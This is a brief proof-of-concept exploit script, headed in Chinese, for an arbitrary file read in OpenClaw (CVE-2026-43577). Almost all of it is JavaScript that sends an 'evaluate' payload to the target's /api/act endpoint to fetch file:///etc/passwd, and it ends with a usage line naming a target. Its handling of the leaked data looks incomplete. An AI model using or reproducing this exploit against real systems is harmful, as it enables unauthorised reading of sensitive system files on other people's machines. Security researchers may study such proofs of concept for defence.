CVE-2026-43577 OpenClaw文件读取漏洞

// PoC for CVE-2026-43577: OpenClaw Arbitrary File Read // This script demonstrates bypassing navigation guards via browser interaction. async function triggerVulnerability(targetUrl) { try { // Step 1: Initiate interaction to bypass navigation guard // Using the vulnerable 'act/evaluate' route const payload = { action: 'evaluate', code: ` // Malicious code execution context // Pivot to local CDP origin const cdpOrigin = window.location.origin; // Attempt to read local file via file:// protocol fetch('file:///etc/passwd') .then(response => response.text()) .then(data => console.log('[+] Leak:', data)) .catch(err => console.error('[-] Error:', err)); ` }; // Send the malicious request to the target OpenClaw instance const response = await fetch(targetUrl + '/api/act', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); console.log('[*] Payload sent, check console for file content.'); } catch (error) { console.error('Exploit failed:', error); } } // Usage: triggerVulnerability('http://target-openclaw-instance');